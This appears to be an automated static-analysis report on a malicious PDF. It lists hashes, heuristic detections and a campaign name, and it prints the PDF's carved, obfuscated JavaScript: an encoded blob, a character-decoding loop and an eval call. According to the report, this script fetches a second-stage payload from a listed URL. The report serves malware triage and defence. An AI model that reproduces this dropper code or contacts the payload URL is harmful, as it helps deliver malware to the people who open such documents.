Malicious PDF — malware analysis report

Static analysis result for SHA-256 342fd03cdd952040…

MALICIOUS

PDF

2.7 KB First seen: 2013-04-22
MD5: 3a8753d00d4500d71fbf1aa5b747958a SHA-1: 4a2fd849b80ac3deda2a168ea746779785157446 SHA-256: 342fd03cdd952040223c4a2b2a78dc5ccafa2b7780629dd849440cb8245716ae
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is heavily obfuscated using String.fromCharCode and eval() calls. This script is designed to decode and execute a second-stage payload from the URL http://d2F.QK/_-a. The ML classifier and multiple PDF-specific heuristics indicate a high likelihood of malicious intent, specifically targeting PDF vulnerabilities for initial execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(jqima);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197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8N1.+UV***.7RM`BE]hJ*jQ[-_:0WAbP[[c:K,5P-.QB6iP282KbA`0=Dh9.22++,,*:1Lga89,.2<GJ^eBJcO@SU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf4N1.HJ`K:4+:4.7RJ7GJ**,g:a]*`a***0[[c:K,?@M.HUP-.A5`-@DKG8:F:0[/]h:`PRA=NA[3VAdX0^a?E.A5`-@DKG8:h1ROc_11K,.2:M+KS^G5OeKU7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI>C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XZ*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]aMgjU@fGKMg9e_7LL_ehD-`iV9M5cjY7MMZK-<";gpyrete6=2757;function ariqx(xzgoewk){if(xzgoewk>92)xzgoewk--;return xzgoewk-42}angnx=new Array();
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x8D4 529 bytes
SHA-256: e2fdd516f12b2052345701e94aaa6ec7bdf33aa29c0d61ad11216104d98d392a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function GetCode(arg){var ar=String.fromCharCode(arg,131,130).split('');var an=ar.pop();var an=ar.pop();return ar.join('');}while(hnirxvk.length){angnx.push((ariqx(hnirxvk.charCodeAt(0))<<(4+2))+ariqx(hnirxvk.charCodeAt(1))-(500+12));hnirxvk=hnirxvk.slice(2,hnirxvk.length)}fwhwf=cvbweq=hnirxvk=0;jqima='';function drhoane(){if(hnirxvk==0){cvbweq=ariqx(czyzfvh.charCodeAt(fwhwf++));hnirxvk=6;}return ((cvbweq>>--hnirxvk)&0x01);}while(gpyrete6--){i=0;while(angnx[i]<0){if(drhoane())i=-angnx[i];else i++;}jqima+=GetCode(angnx[i]);}